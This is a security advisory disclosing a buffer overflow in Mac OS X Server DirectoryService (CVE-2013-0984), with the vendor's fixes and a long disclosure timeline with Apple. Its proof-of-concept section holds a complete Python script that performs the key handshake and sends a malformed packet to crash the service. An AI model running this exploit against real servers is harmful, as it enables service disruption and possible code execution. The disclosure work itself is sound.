A memory corruption vulnerability was found in Mac OSX Directory Service. By sending a maliciously crafted message, a remote attacker could cause the directory server to terminate or execute arbitrary code with system privileges. The issue existed in the directory server's handling of messages from the network.
Mac OSX Server DirectoryService buffer overflow 1. *Advisory Information* Title: Mac OSX Server DirectoryService buffer overflow Advisory ID: CORE-2013-0103 Advisory URL: http://www.coresecurity.com/advisories/mac-osx-server-directoryservice-buffer-overflow Date published: 2013-06-04 Date of last update: 2013-06-04 Vendors contacted: Apple Release mode: Coordinated release 2. *Vulnerability Information* Class: Buffer overflow [CWE-119] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-0984 3. *Vulnerability Description* A memory corruption vulnerability was found in Mac OSX Directory Service. By sending a maliciously crafted message, a remote attacker could cause the directory server to terminate or execute arbitrary code with system privileges. The issue existed in the directory server's handling of messages from the network. 4. *Vulnerable Packages* . Mac OS X 10.6.8 Server (x86_64) . Mac OS X 10.6.7 Server (x86_64) . Mac OS X 10.6.6 Server (x86_64) . Mac OS X 10.6.5 Server (x86_64) . Mac OS X 10.6.4 Server (x86_64) . Mac OS X 10.6.3 Server (x86_64) . Mac OS X 10.6.2 Server (x86_64) . Mac OS X 10.6.1 Server (x86_64) . Mac OS X 10.6.0 Server (x86_64) . Other versions are probably affected too, but they were not checked. 5. *Vendor Information, Solutions and Workarounds* . Apple security updates are available via the Software Update mechanism: http://support.apple.com/kb/HT1338. . Apple security updates are also available for manual download via: http://www.apple.com/support/downloads. . For further information regarding this issue visit: http://support.apple.com/kb/HT1222. . Vendor also notifies that this issue does not affect OS X Lion or OS X Mountain Lion systems. 6. *Credits* This vulnerability was discovered and researched by Nicolas Economou. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* The bug is located in the function 'DSTCPEndpoint::AllocFromProxyStruct' from 'DSTCPEndpoint.cpp'. An attacker can control both the value of 'inProxyDataMsg->fDataSize' and the data that will be copied. Thus, by sending a huge amount of data and a small buffer size, the service will crash trying to access an unmapped memory block. 7.1. *Proof of Concept* Before running the PoC, make sure you meet the following prerequisites: 1. The PyCrypto toolkit  has to be installed. 2. The IP address and port (hardcoded at the end of the file) have to point to your server. 3. The PoC was tested against a Mac OSX Server 10.6.8 with the last security patch installed . /----- from Crypto.Cipher import AES import socket import struct import time def send_packet(sock, data): packet = "" packet += "DSPX" packet += struct.pack(">I", len(data)) packet += data sock.send(packet) def get_crypted_data(shared_key, data): cipher = AES.new(shared_key, AES.MODE_CBC, "\x00" * 16) crypted_data = cipher.encrypt(data) return crypted_data def attack(ip, port): try: p = socket.socket() p.connect((ip, port)) except Exception, e: print e return data = "" data += "DHN2" data += "\x00" * 63 + "\x02" # Key that generates a DERIVED KEY, identical to the one received. # Packet 1 print ("\nSending my public key ...") send_packet(p, data) resp = p.recv(65536) # Key sent by server. key_sent = resp[8: len(resp) - 1] server_key = "" # Flip the number. for i in range(len(key_sent) - 1, -1, -1): server_key += key_sent[i] # String to (a huge) number conversion. big_number = "" for c in server_key: big_number += "%.2x" % ord(c) big_number = int(big_number, 16) prime = 2 ** 128 # Obtaining the SHARED KEY (To be use for AES encryption). derived_key = pow(big_number, 1, prime) magic_number = derived_key derived_key_string = "" # Transform key into a string. while magic_number != 0: resto = magic_number % 256 magic_number /= 256 derived_key_string += struct.pack("B", resto) print "shared key: %s" % repr(derived_key_string) # Handshake. print "Sending the Handshaking" data = "A" * 4 + ("\x0c" * 12) crypted_data = get_crypted_data(derived_key_string, data) send_packet(p, crypted_data) resp = p.recv(65536) data = "" data += "A" * 0x1b data += "\x02" data += struct.pack("<I", 0x10000000) # Evil value. data += struct.pack("<I", 0x100) # Value to be used by the last patched version. data += "A" * ( 0x34 - len(data) ) data += struct.pack(">I", 0x1172 + 1) # Operation code. data += struct.pack(">I", 0x99999999) data += struct.pack(">I", 0x80808080) data += struct.pack(">I", 0x81818181) data += struct.pack(">I", 0x66666666) data += "B" * (0xe0 - len( data)) # Bypass in previous Mac OSX versions ( Integer underflow -> ( ( 0xe0 + 0x10 ) - 0x100 ) data += "\x00" * 16 crypted_data = get_crypted_data(derived_key_string, data) # TRIGGER print ( "Sending the evil packet" ) send_packet(p, crypted_data) p.settimeout(10) try: p.recv(65536) except Exception, e: print e p.close() try: print ( "\nwaiting 10 seconds for check ..." ) time.sleep(10) p = socket.socket() p.settimeout(10) p.connect(( ip, port )) except Exception: print ( "\nThe attack was successful !\n" ) return print ( "\nThe attack wasn't successful\n" ) return ip = "192.168.100.1" port = 625 attack(ip, port) -----/ 8. *Report Timeline* . 2013-01-09: Core Security Technologies notifies Apple Product Security of the vulnerability and sends technical details and a PoC to reproduce the issue. Publication date is set for Feb 19th, 2013. . 2013-01-10: Apple Product Security acknowledges reception of the advisory (id 250731893 assigned). . 2013-02-01: Core asks Apple Product Security if they were able to reproduce the issue and requests a status update. . 2013-02-05: The Apple Product Security team notifies that they were able to reproduce the issue and asks to delay the advisory publication until they were able to ship a security update. . 2013-02-19: First release date missed. . 2013-02-25: Core notifies that release dates can be re-scheduled based on concrete and detailed information about vendor plans to produce a fix, but Core has not received that information from Apple yet. . 2013-02-28: Vendor notifies that they are still working on fixing the issue and the current best estimate for releasing a patch is late April. . 2013-03-05: Core re-schedules the advisory publication for April 30th and asks for detailed technical information. . 2013-03-08: Vendor notifies that the issue affects Mac OS X Snow Leopard Server only. Code execution may theoretically be possible but Apple Product Security team was not able to do so. . 2013-04-22: Core asks for a status update. . 2013-04-24: Vendor estimates that they will address this issue in early May. . 2013-04-30: Second release date missed. . 2013-04-30: Core notifies that the second release date was missed and that the advisory publication can be re-scheduled if Apple provides enough feedback and technical information for justifying that decision: 1. For what reasons Apple was not able to release the update at the end of April as planned? 2. What is the status of next security update? 3. What is the new tentative release date? 4. Is a patch available for test it? . 2013-05-02: Vendor notifies that the reported issue is addressed in the upcoming security update for Mac OS X Snow Leopard, targeted for mid-May. . 2013-05-02: Core re-schedules the advisory publication for May 14th. . 2013-05-02: Vendor sends an invitation to join in to the Apple Software Customer Seeding program  for pre-release access to builds of this security update. . 2013-05-07: Third release date missed. . 2013-05-13: Core asks if the tentative release date of Mid May still stands. . 2013-05-14: Fourth release date missed. . 2013-05-15: Vendor notifies that the upcoming update addresses a considerable number of security issues and the release has to be postponed. Vendor notifies they will communicate a tentative release days in the next few days. . 2013-05-27: Core asks for a release date and notifies that the advisory was re-scheduled for Jun 6th; this date should be considered final unless vendor provides a clear timeline to justify keep delaying the release. . 2013-05-29: Vendor notifies that they are still waiting a confirmation from CORE Security that the update they seeded [2013-05-02] addresses the reported issue. . 2013-05-29: Core notifies that being part of Apple beta test program was never requested and asks for a CVE number and a confirmed release date. . 2013-05-30: Vendor notifies that the invitation to the Apple Software Customer Seeding  was sent because Core requested a patch for testing on [2013-04-30]. Vendor asks if Core has already completed the patch testing process. . 2013-05-30: Core notifies that it was not possible to download the patch from the location provided by Apple and no more time nor resources can be spent on this case. Core also notified that this case was reported 5 months ago and 4 release dates were missed: Feb 19th, late April, early May and mid-May. Additionally, in the last weeks Core asked for a release date several times but did not receive any answer. For those reasons, Core confirms the release date of Jun 6th. . 2013-05-31: Vendor notifies that the security update is on track for releasing next week and assigns CVE-2013-0984 for this issue. Vendor changes the vulnerability impact from DoS to code-execution. . 2013-06-04: Vendor notifies that the security update was released. . 2013-06-04: Advisory CORE-2013-0103 released. 9. *References*  http://opensource.apple.com/source/DirectoryService/DirectoryService-621/Proxy/DSTCPEndpoint.cpp  https://www.dlitz.net/software/pycrypto/  http://support.apple.com/kb/HT5501 - DirectoryService  https://appleseed.apple.com # 0day.today [2018-01-03] #